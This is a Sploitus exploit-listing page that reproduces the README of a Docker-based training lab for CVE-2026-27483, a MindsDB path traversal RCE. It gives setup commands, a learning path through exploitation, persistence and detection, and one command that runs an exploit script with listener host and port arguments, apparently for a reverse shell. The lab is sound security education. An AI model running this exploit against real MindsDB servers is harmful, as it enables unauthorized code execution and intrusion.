Sploitus

Exploit for Path Traversal in Mindsdb

githubexploit Β· 2026-07-15

Exploit Code

README150 lines
## https://sploitus.com/exploit?id=65B7CC0E-9DE5-5564-9737-382B6CE5FCC1
# CVE-2026-27483 Lab - Enterprise Vulnerability Learning Environment

![Status](https://img.shields.io/badge/Status-Active-brightgreen)
![Version](https://img.shields.io/badge/Version-1.0.0-blue)
![MindsDB](https://img.shields.io/badge/MindsDB-25.9.1.0-red)
![CVE](https://img.shields.io/badge/CVE-2026--27483-critical)

A **complete, realistic, enterprise-grade Docker-based lab** for learning, testing, and defending against CVE-2026-27483 (MindsDB Path Traversal RCE).

## 🎯 Quick Start

```bash
# Clone the repository
git clone https://github.com/nabhan-mohy/cve-2026-27483-lab.git
cd cve-2026-27483-lab

# Copy environment file
cp .env.example .env

# Deploy the lab (takes ~2-3 minutes)
docker compose up -d

# Verify deployment
docker compose ps

# Check MindsDB status
curl http://localhost:47334/api/status

# Start learning!
open http://localhost:8080  # Reverse proxy dashboard
```

## πŸ“‹ Environment Overview

```
Internet (Attacker)
    ↓
Reverse Proxy (nginx)
    ↓
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  MindsDB (Vulnerable)           β”‚  Port 47334
β”‚  - Vulnerable to CVE-2026-27483 β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
    ↓
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  PostgreSQL Database            β”‚  Port 5432 (Internal)
β”‚  - Stores MindsDB data          β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
    ↓
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  ELK Stack (Logging)            β”‚
β”‚  - Elasticsearch, Logstash       β”‚  Ports 9200, 5000
β”‚  - Kibana Dashboard             β”‚  Port 5601
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

## πŸš€ Deployment Options

### Option 1: Full Enterprise Lab (Recommended)
```bash
docker compose up -d
```

### Option 2: Minimal Lab (MindsDB Only)
```bash
docker compose --profile minimal up -d
```

### Option 3: With Monitoring
```bash
docker compose --profile monitoring up -d
```

## πŸ“š Documentation

- **[Architecture](docs/architecture/README.md)** - System design & components
- **[Deployment Guide](docs/deployment/README.md)** - Step-by-step setup
- **[Challenges](docs/challenges/README.md)** - 5 learning levels
- **[Detection](docs/detection/README.md)** - Sigma/SPL rules
- **[Incident Response](docs/incident-response/README.md)** - Investigation guide
- **[MITRE Mapping](docs/mitre/README.md)** - ATT&CK techniques

## πŸŽ“ Learning Path

1. **Level 1: Reconnaissance** - Discover the vulnerable application
2. **Level 2: Path Traversal** - Exploit file upload vulnerability
3. **Level 3: RCE** - Achieve remote code execution
4. **Level 4: Persistence** - Maintain access & escalate privileges
5. **Level 5: Defense** - Patch the vulnerability & create detections

## πŸ”§ Common Commands

```bash
# View logs
docker compose logs -f mindsdb
docker compose logs -f elasticsearch

# Access services
curl http://localhost:47334/api/status         # MindsDB API
http://localhost:5601                          # Kibana
http://localhost:8080                          # Reverse Proxy

# Stop the lab
docker compose down

# Reset to clean state
./scripts/reset.sh

# Run challenges
python3 exploits/exploit.py -t localhost -lh YOUR_IP -lp 4444

# View detection rules
cat rules/sigma/cve-2026-27483.yml
```

## πŸ“Š Milestones

- βœ… **M1: Foundation** - Docker, networking, documentation
- 🚧 **M2: Enterprise Environment** - Proxy, database, logging
- πŸ”„ **M3: Enterprise Assets** - Data, users, configurations
- πŸ“‹ **M4: Detection & Investigation** - Rules, dashboards
- πŸ“– **M5: Complete Documentation** - Guides, templates

## πŸ›‘οΈ Security Notes

⚠️ **This lab contains intentionally vulnerable software**

- Use ONLY in isolated, non-production environments
- Do not expose to public networks
- For learning and authorized security testing only
- Respect applicable laws and ethical guidelines

## 🀝 Contributing

We welcome contributions! See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.

## πŸ“ License

MIT License - See [LICENSE](LICENSE) for details

## πŸ† Credits

- **Vulnerability Discovery**: XlabAITeam
- **Original PoC**: Lohitya Pushkar (thewhiteh4t)
- **Lab Development**: Security Research Community

---

**Made with ❀️ for the security community** | [Issues](https://github.com/nabhan-mohy/cve-2026-27483-lab/issues) | [Discussions](https://github.com/nabhan-mohy/cve-2026-27483-lab/discussions)